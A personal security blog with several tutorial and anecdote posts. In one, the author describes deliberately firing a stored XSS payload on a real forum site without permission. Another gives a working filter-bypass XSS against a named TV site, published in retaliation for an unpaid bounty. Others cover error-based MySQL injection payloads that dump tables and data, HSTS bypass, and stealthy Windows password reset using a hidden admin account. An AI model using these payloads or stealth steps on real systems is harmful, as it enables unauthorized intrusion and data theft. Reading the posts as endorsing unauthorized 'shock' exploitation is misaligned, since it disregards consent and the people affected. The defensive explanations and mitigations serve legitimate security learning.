Sunday, 11 January 2015

Hard scripting

Adventures in XSS Pt2

My plans are to expand my previous "adventures in XSS" post into what will hopefully become a long running series. I want to detail my casual discovery of XSS on the web during day to day browsing, none of my professional penetration testing will ever be revealed to the public. I want to highlight a phenomena in this post which many white hat hackers may have run into, and that's complacency of website owners.

[H]ard|OCP.com

When I was attending University, some 10+ years ago, my flatmates introduced me to Hard|OCP, one of the more respected computer hardware enthusiast websites, at the age of 19 I already had a fascination with computer hardware, but it was Hard|OCP that introduced me to bench marking and overclocking for the first time.

I was a loyal member of the community for many years, extremely naive as a relatively late comer to the hardware scene. I engaged in fanboyism to justify my purchases and plenty of healthy banter, I loved learning as much as I could from everyone.

Fast forward 7-8 years and my time with Hard|OCP had come to an end, a difference in opinion of review techniques left me unable to really make use of their content and some bad decisions by their forum moderators in how they handle running the forums marked my exit. I quickly gravitated towards the Anandtech community where I made my new home and have been since.

XSS

About 6 months ago I was showing my brother some examples of what I had been learning by tinkering with computer security, without much thought I loaded Hard|OCP and I set out to give him an entirely fictional example of how things like SQLi and XSS worked. It was during that process that I realised that I'd accidentally stumbled across a real examples of XSS. I was surprised at the time although on reflection the relatively old and now retro style of Hard|OCP suggests that development probably hasn't occurred for years and that security might not be great.

Some time later I decided to thoroughly test out the site to try and give something back to the community by finding any exploits and reporting them to Kyle the owner. I methodically went through each page, each section, all the archives, every feature and I tested it for every exploit I knew how to perform. When I was done I had found XSS on the search page, some strange overflow problem with the archive system where extremely long parameters would actually cause PHP source code to spill into the HTML source potentially revealing sensitive information, and XSS in their forum posts. They take the newest 10 forum thread titles and put them on the front page without sanitising them. The forum itself did not sanitise the input before putting it into the database, instead it does it after the data is pulled from the database but before it lands on the final page.

This should act as a cautionary tale to everyone. Sanitising input is important and doing it after being pulled from the database rather than before it's put in is seen by some as the proper way to sanitise data (after all these characters don't have any special meaning in the context of the database, only the page). While I agree with that methodology it does leave all future development potentially vulnerable to XSS as developers may add new features and simply forget to do the basic security checks.

As a penetration tester for web technology, one important lesson to learn is how to find user input. User input comes in many different forms, the most obvious is anywhere a user literally provides text input as part of a legitimate function of the website, for example forum posts or news comments. However these are obvious and often the first thing to be checked and fixed, there's usually a lot less obvious ones that require more creativity to spot, using the forum as an attack vector on the main site (they're hosted separately) is a good example.

Responsible Disclosure

It was at this point I contacted Kyle Bennett the owner of Hard|OCP, I had tested the reflected XSS vectors in the search feature and abused the archive page parameters, but testing a stored XSS exploit was something I really wanted his permission to do. I fired him and email and explained the exploits, he was fast to respond and seemed eager to fix everything, despite not being a PHP developer I explained the standard steps for preventing XSS which is to HTML encode all user input, something which takes a competent coder just a few minutes. He set his developer onto fixing this immediately.

Meanwhile I speculated that an XSS attack might be possible from forum thread titles, I'd observed the page caching forum threads every 15-30 minute intervals, I'd seen rogue instances of people using special HTML characters in their forum titles purely through normal use. So I asked Kyle if I could test and promised to not cause any interruption. He agreed and I went about firing through forum threads with enough HTML markup in them to test exposure without ever creating a problem on the front page. I quickly confirmed this vulnerability and he added it to the list of things to be fixed.

Complacency

Unfortunately one of the biggest problems you'll run into as a white hat hacker is complacency, people have little to no motivation to spend time, effort and money fixing security issues unless they have a really solid understanding of the potential fallout caused by the problem. Even when you provide a penetration testing service for free (something that would otherwise cost upwards of thousands of dollars), they're often not motivated to fix issues, especially if the vulnerabilities have no impact on the current operation of the site/service.

While it's true that Kyle addressed most of the issues, it's also true that he left the forum XSS wide open. I did spend several weeks keeping track of the issue and waiting for a fix, in the end I emailed him again as a reminder that this was still an issue and a particularly nasty one. Before long I forgot about the site, it was only in the last few days I came back and checked the front page for exploits, sure enough the forum threads were still coming through unfiltered. Kyle had everything he needed, he knew the attack vector and knew the seriousness of it, all that was lacking was motivation.

We now enter a moral gray area, because my motivations are good, I want Hard|OCP to be secure and all the users to be safe, however these actions reveal the vulnerability for anyone else savvy enough to copy and abuse. In the end I decided that I'd take the shock route and try and deliberately minimize the disruption in the meantime.

The hack

The forums threads are pulled periodically from the database by arrangement of date created, they're then cached and used on the front page, the threads drop off as new ones are added, at Hard|OCP's peak that's about 7-8 threads per refresh. So I carefully timed when the updates were happening, I measured the times the posts rotated out, I wanted to post the thread as close to the update as possible, after all I didn't want a forum moderator deleting the thread before the front page had a chance to cache it. I also didn't want the front page to display the hack too long, luckily the natural cycle of the forum posts would quite quickly cycle out the hack. I planned it for a time of day with a lot of forum activity to naturally push the hack off the front page in the shortest time. I then posted a basic javascript alert saying "Fix me :(" and then went to lunch at the pub and had a few beers in anticipation of what was to come.

This is all it took:

:("/><script>alert('Fix me :\'(');</script>

There was only space for a few characters to deal with, they shorten any really long thread title in order to fit neatly on the front page, this attack was 1 character short. It didn't cause any real disruption just the alert, the site worked as normal otherwise. I'd have tidied up the HTML after it had I more characters to deal with.

The fallout

What happened next was exactly what I expected, a bunch of users were hit with popups, a few smart people spotted the exploit on the font page, they checked the source code to find the point of origin, that listed the forum thread ID. Several posts appeared in thread I had started, they joked about XSS and how they typically browse with noscript enabled, a smart choice.

Moments later threads popped up in the website feedback forums, people who don't know XSS had spotted the popups and reported them, one user calmed everyone by saying Kyle and his team were "on it", clearly indicating this had been reported and acknowledged. I have no doubt Kyle knows the source of the issue as I did it from my real forum account and they'd found the thread and removed it already.

An hour or so later all the threads were deleted, my account was banned (bye bye 6000 post count) and there exists no sign it ever happened. Quickly checking the thread names on the front page later in the day, this is still not fixed, despite the fix being just a few lines of code. In PHP all you have to do is implement the htmlspecialchar() function to remove all special characters from the user supplied input.

Morality

This whole ordeal raises some interesting ethical questions and for experienced white hat hackers this almost certainly isn't unfamiliar territory. You quickly become accustomed to the types of exploits that are possible and the fallout they can potentially bring, however conveying that to site owners who aren't code savvy is a tricky task. Often fixing these issues cost development time and money. You can repeat vulnerabilities over and over and allow months to go by when developers only need mere minutes to fix, but eventually you have to accept that until something bad happens, this probably isn't going to get fixed. Let me clear this has nothing to do with Kyle, it's just a general pattern that many owners fall into. Add to the fact that bad things are often done with some level of stealth (not everyone wants to deface) and that acts as a motivator to get site owners to take action now rather than later.

The whole point of starting this blog post with my background and personal investment in the Hard|OCP community was to demonstrate that these kind of actions come from the desire to protect people, not to harm them. Some people might argue that it's just an excuse to hack things, but the reality of the situation is that I pen tested this site for free, I explained in detail the hacks and risks to the owner as well as the steps to best fix it. I spent time testing and re-testing their implemented fixes, as well as coming back to check on the site and see if anything is still vulnerable at regular intervals - I'm not paid anything to do that. At the end of the day hackers are left with a choice which is the lesser of 2 evils, either cause an embarrassing situation and hope that it encourages a legitimate fix or leave the vulnerability open and hope that no one ever finds and abuses it.

And nothing stays hidden forever.

Kyle if you ever read this, I hope you understand that it wasn't meant maliciously but rather to keep your users safe. I'd like to extend a personal thank you for running the site that provides endless value and helped teach me, the same to all the forum members who contribute positively to the community.

*Update* Kyle wasn't please and accused me of whining about being banned, I genuinely have no hard feelings about that, for the record. I've gone back and tried to re-word parts of the post to better reflect that.

Work [H]ard, Play [H]ard, Stay [H]ard.

Tuesday, 6 January 2015

My first bug bounty

Adventures in XSS

Yesterday I submitted my first bug bounty which felt just as good as I thought it would, great success. The exploit is on www.ziggo.tv, it's only a basic reflected XSS exploit but it was fairly hard won as they have extensive protection to deal with user input. It turns out that despite a bug bounty description that offers compensation in exchange for bugs, they don't think XSS is dangerous enough to warrant paying out. Normally I'd be more discreet with security issues but I thought that was a bit of a dick move on their part so I've decided to publish instead and at least get an interesting blog post out of it.

Cross Site Scripting

If you're not familiar with XSS then please take a look another of my posts which explains XSS attack vectors in depth, you can find it here. The TL;DR version is that XSS is an exploit that allows attackers to inject JavaScript into someone else's website via an abuse of user submitted content, any users who browse the website are open to any number of attacks.

In this case the user submitted content was a search feature on their media site, if you enter a search term you'll get back a very ugly looking URL including an array of page parameters, one of which is the search term. This is the result of searching for "test".

http://ziggo.tv/on-demand/series/top-10/?type=serie&genre=&category=Top+10+Serie&in_package=&package=&view_type=cover&filter_genre=&filter_package=&search_by_keyword=test

You can see the search_by_keyword parameter at the end, it is set to a value of test, the basic attack methodology of reflected XSS is to craft a malicious link and then send that link to a victim(s), or simply post it on another site and encourage people to click on it. Only those people following the specially crafted URL will be affected by the vulnerability, everyone else arriving at the search page naturally will never be affected.

Trial and error

Finding XSS vulnerabilities usually involves a lot of trial and error, you're blind as to how the server processes input so you need to present specific inputs and test to see how the server behaves and what it returns, this helps you build up a mental image of the method by which they processes data and return it to the user, it almost always has some kind of sanitization that removes potentially harmful code.

The first thing to do is just throw in an attempt to open up a script tag and see the behaviour, let's try the parameter

Input
search_by_keyboard=test" /><script>

This does several things, first of all having the word test in there helps me find the result in the source code of the page that is returned, that just makes iterative testing much faster. The " /> closes out the input box we're injecting this into. In the HTML on the result page you'll find the search box pre-populated with the old search result which is the source of the injection, this is where your search term is being returned to the page. It looks something like this normally

HTML
<input type="text" name="search_by_keyword" placeholder="Zoeken" value="" />

You can see that by using the input test" /><script> we can prematurely close the value property and then close the input tag itself, leaving us able to write valid HTML such as <script> tags.

However the result in this case was that <script> was replaced with [removed], they're specifically  looking for script tags and replacing them with something harmless, this is the first piece of the puzzle that is their user input sanitization.

The next step I took was looking at attack vectors that didn't use <script> tags explicitly, there's a huge number of these but a really easy one is to give HTML elements some event attributes, events are triggered when some specific condition occurs, they can be when a user hovers a mouse over an element, or it could be when an error is encountered, writing deliberately malformed HTML inside a tag and including an onerror event attribute is a great way to automatically trigger itself and run the Javascript that is associated with the event. It can be done like this

Input
search_by_keyboard=test" onerror="" />

You simply put your Javascript inside the onerror attribute, in this circumstance input elements don't support onerror attributes, but the point isn't to exploit straight away, it's to map out what sort of characters are allowed and see if anything is modified or removed. The result we get is unexpected:

HTML
<input type="text" name="search_by_keyword" placeholder="Zoeken" value="test"  />

It looks like they've removed the onerror="" but they've kept test, they obviously have some kind of blacklist of denied strings. There is however a benefit to this, unlike the detection of <script> which is replaced with [removed], these attributes are just deleted, that has the extremely helpful property of collapsing together text that exists either side. For example

ABCDonerror=""EFGH 

becomes simply

ABCDEFGH

There is the potential for us to use this to help beat other parts of the filter, if we can work out the order the filters are applied then we can pass the first one by splitting up our key words and have the other filter reassemble them. Let's try breaking up a script tag:

Input
search_by_keyboard=test" /><scronerror=""ipt>

The result is

HTML
<input type="text" name="search_by_keyword" placeholder="Zoeken" value="test  />&lt;script&gt;"

Damn, so close. <script> now evades being replaced with [Removed], however they've safely HTML encoded the angle brackets into &lt; and &gt;, and oddly the close quote ends up at the end rather than closing the value attribute like it should.

If there was only a method to stop the angle brackets from being HTML encoded, unfortunately you c cannot use the same trick of splitting up text in order to obfuscate it when you're only dealing with a single character...or can you?

Enter URL encoding to save the day, all text can be URL encoded, it just so happens the site is taking URL encoded input and it's decoding it for us before usage, that's handy. So we can represent < and > as their URL encoded counterparts which is %3C and %3E. These on their own are correctly URL decoded by the server and are treated like regular brackets, but there's nothing to stop us from breaking up the URL encoded variants with an event tag. Let's try.

Input
search_by_keyboard=test"" />%3onerror=""Cscript%3onerror=""E

You'll also note I've added a 2nd quote after test, this is to try and keep the HTML mark up well formatted by adding in another quote as one alone is removed. It's a success, our output is now

HTML
<input type="text" name="search_by_keyword" placeholder="Zoeken" value="test " /><script>

Now all we need to do is craft our exploit, in this case I'm just going to load and play some festive christmas music from another website, we can do this using the following Javascript:

var new_audio = document.createElement("audio");
new_audio.src="http://www.singing-bell.com/wp-content/uploads/2013/09/Jingle-Bells-Singing-Bell.mp3";
new_audio.play();

Let's add that in, wrap the end in a close script tag </script>, we'll need to use the same trick with onerror="" to obfuscate it. Let's also clean up after ourselves to make sure we're not leaving behind any malformed HTML, when we prematurely closed the value attribute and then closed the input tag we left behind characters that were designed to do this. So let's open up an extra html element ourselves and not close this tag, it will be closed by the characters left behind. For this purpose a half open anchor tag is fine - this keeps the page looking the same as before and masks the attack. Our final URL is


SUCCESS!

Merry Christmas everyone!

Note: Because I submit the bug to their security team it's not likely to remain active for very long, also if you have a slow connection it might take a few seconds to load the audio.

Monday, 5 January 2015

Defeating HSTS and other acronyms

Defeating HTTP Strict Transport Security

This tutorial covers attacks on HTTP Strict Transport Security, sometimes known as STS or HSTS. Yes that's right, we have so many acronyms we're now nesting them. Macronyms to the intellectual elite.

A history lesson

To understand what HSTS is you need to understand the history of MITM (Man In The Middle) attacks on digital communications. In the beginning there was HTTP, The browser (Alice) could communicate with the web server (Bob).

Alice <------> Bob

However an adversary Eve could perform a MITM attack on connection by telling Alice that she is Bob, and telling Bob she is Alice, both Bob and Alice send their communications to Eve who logs the information, potentially modifies it and then lets it pass on to the real destination, both Bob and Alice are non the wiser.

Alice <------> Eve <------> Bob

To secure communications HTTPS was invented, a secure version of HTTP which simply layered HTTP inside an SSL connection, this did 3 things, it provided Secrecy, Integrity and Authenticity.

SSL works using public key cryptography, Alice and Bob both have a public and private key, the public keys are shared first, messages from Alice are signed and encrypted with Bobs public key and only Bobs private key can decrypt them, and vice versa. Now Eve cannot read the communications, she can see the exchange of public keys across the wire however she cannot decrypt the message without somehow discovering the private keys first.

This worked well for some time, until Moxie Marlinspike did us all a favour, he educated us.

SSL Strip

SSL strip is an attack on HTTPS connections written by Moxie, his thesis is that most HTTPS connections on the internet are not initiated by the user typing "HTTPS" into the address bar, but rather encountered by a HTTPS link provided in an existing HTTP context or by the web server redirecting HTTP requests to HTTPS ones.

SSL Strip simply monitors the plain text HTTP connections, any responses from the web server back to the client that includes HTTPS hyper-links are re-written to be HTTP, and any redirect responses the server sends are also re-written from HTTPS to HTTP, internally SSL Strip keeps track of what it has modified. The client is forced to communicate with SSL Strip in HTTP but SSL Strip faithfully presents a HTTPS connection to the web server using its own public/private key pair.

This forces all communications to use regular HTTP connections between Alice and Eve where the data is sent in the clear and can be logged or modified. In practice SSL Strip is deadly, few people notice they're browsing a normally secure website with SSL disabled.

Alice <---HTTP---> Eve <---HTTPS---> Bob

HSTS

HSTS was created as a solution to attacks like SSL Strip. It introduces a new header inside HTTP communications called Strict-Transport-Security, the server includes this header which tells the browser to only use SSL connections on the specified domain in future and for how long, if the browser supports HSTS headers correctly it will create a new policy to always use SSL until the expiry date elapses.

This creates only 2 points of attack for adversaries. 

1) The host name and underlying DNS system to verify it, if secure DNS isn't used then domains can spoofed and pointed to attackers servers.
2) The expiry time of the policy, after the expiry time has been reached the browser reverts to normal behaviour which is to connect over regular HTTP unless specified otherwise.

Both of these vectors have been exploited recently.

SSL Strip 2

Leonardo Nve presented a talk at Blackhat Asia 2014 where he introduced an improved version of Moxies original tool SSL Strip. SSL Strip 2 performs MITM attacks on DNS requests forcing requests from the browser to be sent directly to the attacker.
 

NTP and time shifting with Delorean

Network Time Protocol (NTP) is a widely used protocol for synchronizing time across a network, most major Operating Systems implement some form of NTP to keep the system time as accurate as possible, there are several revisions of NTP including ones which implement secure time updates with cryptographically signed messages (v4 onwards) however no major operating systems currently support this out of the box making almost everyone vulnerable to MITM attacks on time updates.

Each operating system behaves differently with regards to when time updates occur and with what frequency, as well as a maximum delta change from the current time/date that is allowed in a single update. Step in Jose Selvi with new MITM tool called Delorean which focuses on MITM attacks on NTP, you can find his whitepaper here.

Using Delorean and time shifting the Operating Systems internal clock, any software that relies on the internal clock such as the browsers checking for expired policies can now be fooled by adversaries. Forcing the internal clock to the expiration date of the policy and then modifying all future HTTP request to remove the HSTS value from the header will prevent the browser from forcing SSL usage and all existing SSL downgrade attacks will work as normal.





Password Tomfoolery

Windows password "recovery"

Sometimes we forget our passwords and need to recover or reset them. Yeah right! You want to hack someone you know, just admit it you diabolical mastermind. This post investigates the strength of Windows password schemes and acts as a good educational primer for an upcoming post I have planned to cover password cracking. I also cover a simple tutorial to reset forgotten windows password and what kind of mitigation you can use to protect your passwords and data from being reset by adversaries.

Intro to Passwords

First a little bit of history regarding passwords and some theory. Microsoft have supported passwords for users ever since Windows 3.1 in order to help secure user's data. There is an interesting problem with passwords, if the Operating System has to verify the password then doesn't it have to compare whatever the user supplies with the original? If that's the case doesn't it need to store the original somewhere? With the ability to remove hard drives from a computer and install them in another computer what is to stop us using another system to read the password from the hard drive? A curious problem.

The solution is hashing, a hash is a mathematical function which takes some variable length plain text input such as a password and it produces a fixed length output which appears random or scrambled. Hash functions are designed to be one way, there is no inverse function that produces the original plain text from the hash, in fact many plain text inputs may create the same hash, otherwise known as a collision. Collisions are undesirable but in most hashing algorithms the odds of them occurring is very small.

Using this technique the operating system can generate the hash of your password when you first pick it and store that on the hard drive, when you provide a password to log in with in future it simply hashes what you provided and then compares the hashes to see if they match, if they do it knows the passwords are the same, without ever needing to know the original.

LM and NTLM

The first hashing function Microsoft introduced was used by the LAN Manager and was known as the LAN Manager hash, Lan Man Hash or simply LM hash, it was adopted in windows 3.1 and was used for all the user desktop OS's up until Windows ME (Win3.1, Win95, Win98, Win ME), there are significant weaknesses in the strength of LM hashing. Microsoft introduced a successor in their server range of OS's starting in Windows NT4, the new hash is called NTLM which was later revised to NTMLv2 in Windows 2000. Eventually the user OS line switched to be NT based with windows XP onwards, adopting NTLMv2 which has since been used in Win Vista, Win7 and Win8.
 
There are brute force attacks that can be done against LM and NTLM that can retrieve the original plain text, in the case of LM for any length password (maximum 16 characters) in the case of NTLM practical attacks work on passwords up to length 8-12, above that they become infeasible on modern hardware. These attacks focus on hashing all possible combinations of passwords and comparing the hashes until they're discovered, it's very calculation intensive and can take long periods of time. Because of the impractical nature of these recovery methods this post will focus on resetting passwords to new values rather than recovering old ones, I will cover LM and NTLM recovery in a future post.

Password reset

While hashes protect the password from being known if someone is to read the hard drive from another operating system, it cannot possibly stop you from hashing a new password and then replacing the original hash with one which you know the plain text value of. It's normally impractical to remove the hard drive of the target computer and install it in another computer, thankfully there is a better way, simply write an operating system to a USB flash drive, install a boot sector that allows the PC to boot from the drive and you have a handy tool you can take anywhere and use to replace unknown password hashes with known ones, resetting the password.

Hiren's BootCD

There are many tools to allow you reset passwords, however my personal preference is a handy suite of tools called Hiren's BootCD, it's a bit like the Swiss Army Knife of PC tools, you can find Hiren's BootCD here and it's free to download. The instructions on how to make a bootable USB flash drive and install Hiren's BootCD can be found here.
The usage is relatively simple, power off your target PC, place the USB drive into any working USB slot, turn on the computer and boot from the USB, reset the password on the account you like and then remove the key and reboot again. If the key doesn't boot but instead windows loads as normal then you'll have to enter BIOS and change the boot order and put USB booting above booting off the hard drive.
  • Once you've booted off the drive simply select the "Offline Windows NT/2000/XP/Vista/7 Password Changer" and press enter, wait for the screen to stop scrolling text, eventually the Offline NT Password & Registry Editor will load.
  • Select the hard drive partition that contains the Windows install.
  • Confirm the windows registry path, in almost all cases the default location will be correct, simply press enter.
  • Select Password reset by pressing enter.
  • Select Edit user data and passwords, press enter.
  • Enter the user name of the user you wish to reset.
A pro tip here is that if you want to access a machine but no alert the users by resetting their password then you can enable a hidden admin account which exists in Vista and newer Microsoft OS's. Enable the account and reset the password then when booting the admin account will be in the list of users to select from. As admin you'll have access to all the other user profile folders but you have the benefit of reverting the account to being disabled once you're done which will remove it from the user list. For maximum stealth don't forget to undo any BIOS changes you made as well.
  • Once you've changed the password, press Q to quit the tool.
  • You're prompted if you want to write the files back to the computer, press Y and then enter.
  • Press enter again to confirm you're done using the tool.
  • Remove the USB drive and reboot the PC again
  • If the computer has multiple accounts simply select the account you reset and leave the password blank, if the computer only has 1 account then you'll be logged in automatically.
More in depth instructions with images can be found here.

Note: While this tool is useful for resetting local computer accounts, it wont help with user accounts on Microsoft domains, these are typically controlled from a DC (Domain Controller).

Mitigation

In order to protect yourself from these sort of attacks you only have one good option and that's to encrypt the entire hard drive with FDE (Full Disk Encryption), this stops the data on the hard drive from being overwritten in plain text, not just the password hashes but all of your data. Trying to stop USB booting is an ineffective way of preventing these attacks, even if you disable USB booting in the BIOS and set an admin password on that, the BIOS can be reset. If you physically disable the USB drives there's always the option of removing the system disk from the computer and simply putting it into another PC.
 
I personally use and recommend TrueCrypt which is a free and open source FDE tool which was recently independently audited and found to have no back doors and strong encryption, the project was ended by the creators but has been forked by the community, you can find it here. There are many other different tools you could use, check out an extensive list here.
 
Make sure you read and understand the implications of FDE before using it, you will get permanent loss of your data if you forget or lose the password. FDE also has some performance impact on read/write speeds in certain systems. For this reason I recommend Intel i3/i5/i7 CPUs based off the Sandy Bridge architecture or newer since they have very fast hardware AES instruction sets which make the performance overhead nominal. TrueCrypt comes with hardware AES support and a handy benchmark tool to test read/write speeds on your hardware.

Monday, 17 November 2014

Error: You have SQLi in your polygons

An introduction to error based SQLi

In State of the Union I introduced the SQL injection attack vector and briefly described 3 basic types, error, union and blind. I've covered union based attacks in depth already, this post will introduce error based SQLi. For this tutorial I will assume you know the basics of SQL and SQLi already, if you don't please read State of the Union first.

Update - For anyone looking for a DIOS tutorial for error based injection then please check out my blog post here - http://frostyhacks.blogspot.co.uk/2015/03/dumping-all-polygons.html

Introduction

The principle of error based SQLi is the same as union based, an adversary supplies input to a web application which is used to build a query to execute against a database, by including SQL in the input you can alter the behaviour of the query and return data that is outside of the original scope. For example a search function to find news articles might be able to return information about the structure of the database and even specific fields such as passwords or other sensitive information.

In union based SQLi the attack methodology is to discover where data is being returned by the database to the visible portions of the web application and then union the existing result your own data. If the page only displays the first result in the final set you can alter the conditions under which the original data is selected to return zero results so the final set only contains your custom data.

Under some conditions this method may not work, here's a few examples.
  • If there's any kind of logic designed to check the input parameter is valid, this stops you from making the original select return zero results. If this is encountered in a web page that can only display a fixed number of results then your appended data is ignored.
  • If none of the results are returned to the screen directly, it's possible the results might be interpreted through some other logic first and not appear on the page as plain text but rather trigger some other change.
  • If the entry point of the injection is inside a nested query you might find that after enumerating the column count using ORDER BY that a UNION SELECT still throws an invalid column count, this is likely a nested select.
In these cases where you cannot return arbitrary data back to the screen you need to switch from union based SQLi to error based.

MySQL errors

MySQL errors can be suppressed however if they're enabled and the error message is returned to the screen anywhere on the web application you have another method of extracting data as the error message may contain parts of SQL statement and if part of the statement has already been evaluated it could reflect actual data from the database.

When the SQL server is presented with a query it will resolve the most nested parts first before evaluating the outwards until the whole query is finished or until it hits an error. This means if you nest a select statement inside some SQL designed to create an error, the data will be selected first and then returned to the screen inside the error message. This is the basic attack methodology of error based SQLi.

Geometric SQLi

There are numerous ways of performing error based SQLi, one recently discovered method involves using the geometric functions built into MySQL. Polygon() allows you to define a polygon given a series of vertices or points, points are defined as a pair of X,Y coordinates using double-precision for example 

SQL
point(10.75, 21.37)

Polygons are defined as a series of points for example

SQL
polygon((0 0, 1 1, 2 2, 3 3, 4 4),(5 5, 6 6, 7 7, 8 8, 9 9))

If you provide some malformed data such as

SQL
polygon(1)

You'll get an error something like this:

Error
Unknown error: 1367 (Illegal non geometric '1' value found during parsing).

Note that the value '1' is reflected back in the error message. Let's try selecting something that requires the SQL server to evaluate data from the database such as the version variable.

SQL
polygon(select @@version)

Unfortunately this gives us the following error:

Error
Unknown error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select @@version)

Let's instead try selecting the version into a temporary table which we'll call 'a' and then select the value from that, for example:

SQL
polygon(select * from(select @@version)a)

Now we get the error message:

Error
Unknown error: 1367 (Illegal non geometric '(select `a`.`@@version` from (select @@version AS `@@version`) `a`)' value found during parsing).

This is closer to what we need, we're selecting the version number correctly, it's being evaluated by the SQL server, however the actual value is not being returned in the error message, instead it's returning the default column name of the temporary table, when not explicitly stated the default name is the first value in the results. We can repeat this trick and nest this in yet another select for example:

SQL
polygon((select * from (select * from (select @@version)a)b))

Now we're selecting the value from the temporary table 'a' into a new temporary table 'b', this forces the value in table 'a' to be evaluated, now when we get an error it contains the real version number. When doing embedded or nested selects in SQL the inner most selects are evaluated first so the values can be used by the outer selects, if the value you're trying to extract using SQLi hasn't evaluated in the error message, simply use this trick of selecting the value twice. The error should now look something like this:

Error
Unknown error: 1367 (Illegal non geometric '(select `b`.`@@version` from (select '5.50.00' AS `@@version` from dual) `b`)' value found during parsing).

You'll now notice that in the error message we now have legible data pulled from the server, we've selected the MySQL version 5.50.00. How does this look in a fictional example, assume the following page parameter exists (the green text is the static part of the URL, red is the user supplied input)

URL
http://frostyhacks.blogspot.com/news/index.php?news_id=50

We can exchange the value of 50 for the parameter news_id, which looks like this:

URL
http://frostyhacks.blogspot.com/news/index.php?news_id=polygon((select * from (select * from (select @@version)a)b))

Selecting data

You can extend this basic concept with any arbitrary SQL, so all the same tricks to map out the database and select data work as you'd expect, for example if you want to select a list of tables from the default schema:

URL
http://frostyhacks.blogspot.com/news/index.php?news_id=polygon((select * from (select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())a)b))

To find the columns inside these tables you can use the following where TBLNAME is the name of the table you're interested in. Remember to Hex encode the value.

URL
http://frostyhacks.blogspot.com/news/index.php?news_id=polygon((select * from (select * from(select group_concat(column_name) from information_schema.tables where table_name=TBLNAME))a)b))

And finally to select data:

URL
http://frostyhacks.blogspot.com/news/index.php?news_id=polygon((select * from (select * from(select group_concat(0x0a,COLUMN1,0x3a,COLUMN2,0x3a,COLUMN3) from TBLNAME)a)b))

Any feedback both positive and negative is welcomed, please leave a comment if you spot any errors or have any questions. Please do not post real world examples as they will be deleted, all questions should focus on the theory only, thank you.

Greetz to benzi who taught me this.

Monday, 3 November 2014

PRNG and other Batman fight noises

An introduction to PRNGs and why they're bad for security.



You may have heard that Pseudo Random Number Generators (PRNGs) are an unsafe source of randomness for security related purposes, and if you're like me you may have struggled to understand how this could lead to a practical attack against applications that use PRNGs. This tutorial will explain why PRNGs are bad and demonstrate a practical attack against them.

What is a PRNG?

The first thing to understand about Pseudo Random Number Generators is that they're completely deterministic, this means that given the same starting conditions they will always produce the same string of "random" numbers. However they do appear random to the human eye, they're superficially unpredictable and they give an even distribution of numbers across a significantly large output.

PRNGs are seeded which means the random function is initialised with some initial value (the seed) and this decides what the random sequence will be, if you seed a PRNG with the same value you get the same series of random numbers, this series eventually repeats itself, the number of outputs before repetition occurs is called the period. The seed can sometimes be specified and in some languages the default seed will take information from the system such as the time or the system process ID.

PRNGs are typically used in applications where behaviour only needs to superficially appear random and it's not important that attackers are able to predict future values, typically they're built for speed and so can be used in real time simulation such as video games that need some degree of apparent randomness. This is very important because any function that is built around performing quickly can also be brute forced quickly.

It's worth noting at this stage that the seed values and the internal state of the PRNG can be different sizes, typically measured in bits. Because the initial state of the PRNG is decided by the seed the number of states that can be generated is limited by the total number of unique seeds. A PRNG with a large internal state of thousands of bits but with only a 32bit seed will only realise a small fraction of the total number of possible internal states.

It gets even worse when you consider that an initial seed may not come from a source that contains 32bits worth of unique information, something like a time stamp or a process ID is typically even smaller, thus reducing the number of possible states of the PRNG can produce to be much smaller than internally it's capable of generating.

How are random numbers used.

Typically random numbers are manipulated through some process to make the range of possible values fit the desired output, for example if you want a percentage output you'd normalize the random output into a range between 0 and 100, this is commonly done by restricting the range of the output of the PRNG to a variable of type float, between 0 and 1, then multiplying the float by whatever value you need to achieve the desired range, in the case of a percentage this would be x100, in the case of needing a random letter you'd multiply this by x25, this gives you 26 values between 0 and 25, you can then map each number to a letter to get plain text output derived from the numbers. Characters is often how the numbers are actually presented to the user in the form of some kind of security token, you'll find these being used for password reset tokens and CSRF tokens.

Attack theory

The basic theory behind attacks fall into two categories.

Firstly is that if you know the PRNG being used and you can determine the seed value then you're able to generate the entire string of random numbers, you can then compare some sample of random output from the application and determine where in the current series the application is and use that to generate the future random values. For practical attacks against PHP applications using these methods I'd highly recommend this talk from Blackhat 2012 by George Argyros and Aggelos Kiayias from the University of Athens.

In the cases where the seed is unknown you can use brute force attacks, you sample some output of the application you wish to attack, you run them backwards through the same maths that processed the random value into something useful, and you determine what the seed is. From there you follow the same process of generating all values for that seed and working out the current applications place in the series, again allowing you to predict future outputs. For practical attacks against many different types of PRNGs using this method I'd also recommend this talk from Blackhat 2013 Derek Soeder, Christopher Abad and Gabriel Acevedo of Cylance.com. You can also find their white paper here.

Introducing Prangster

In the talk at Blackhat 2013 that I previously mentioned, a proof of concept tool was released called Prangster, you can download it here, it's open source and written in C#. They include instructions for compiling it on the website, it requires windows and Microsoft .NET 2.0, or can be built with Mono for Linux/Mac.

The attack methodology is quite straight forward.

1) Find an application that creates some kind random output, this could be something like a security token used to reset passwords or account credentials.

2) Collect samples, you need to distinguish between static parts of the output and the parts which are pseudo random, for example if you're analysing randomly generated passwords and each password contains some static component then ignore that. Try and determine a unique list of all characters used in the output, is it lower case alpha only, is it alpha-numeric, etc. This is needed later to build an alphabet.

3) Determine the type of PRNG being used, often this can be done by determining the platform which the application runs on, if it's ASP.NET for example then there's a good chance the Microsoft random() class is being used. You also need to guess how the PRNG maps the output in numbers to the characters you see in your output, if the application is open source or the source code is available you can determine this directly, otherwise it's best guess.

4) Use Prangster to analyse the samples you've recovered, determine the seed that created this string of random numbers, then use this seed to generate all the random numbers the application is using, and use that to predict future randomness.

Usage

Once compiled you can run Prangster from the command line, it has 3 basic modes you can use.

r - Recovers the seed that generate the input. It requires the PRNG type as a parameter, a string of output that you're sure was generated in that order, and an alphabet. The alphabet is the mapping of numbers to characters, for something simple like an output that only contains lower case alpha your alphabet would probably look something like this "abcdefghijklmnopqrstuvwxyz". If you're lucky this will return the seed value used to generate the random series.

g - Reproduces a series of outputs given a specific seed and a length of outputs, it takes parameters of the PRNG type, the alphabet, the seed value (learnt from -r) and the length of output you wish to generate.

s - Seeks a series given some initial seed and an offset, then returns the seed which represents the new state, it takes the parameters for the PRNG type, the seed value and the offset amount.

If you run Prangster without any parameters it will echo the usage to the screen.

Example

Let's consider an example, let's say we're attacking an ASP.NET application which is generating unique password reset tokens and these tokens appear to use upper and lower case characters only, you might try the following commands in Prangster

<some collected output> | Prangster.exe r PrngDotNet abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

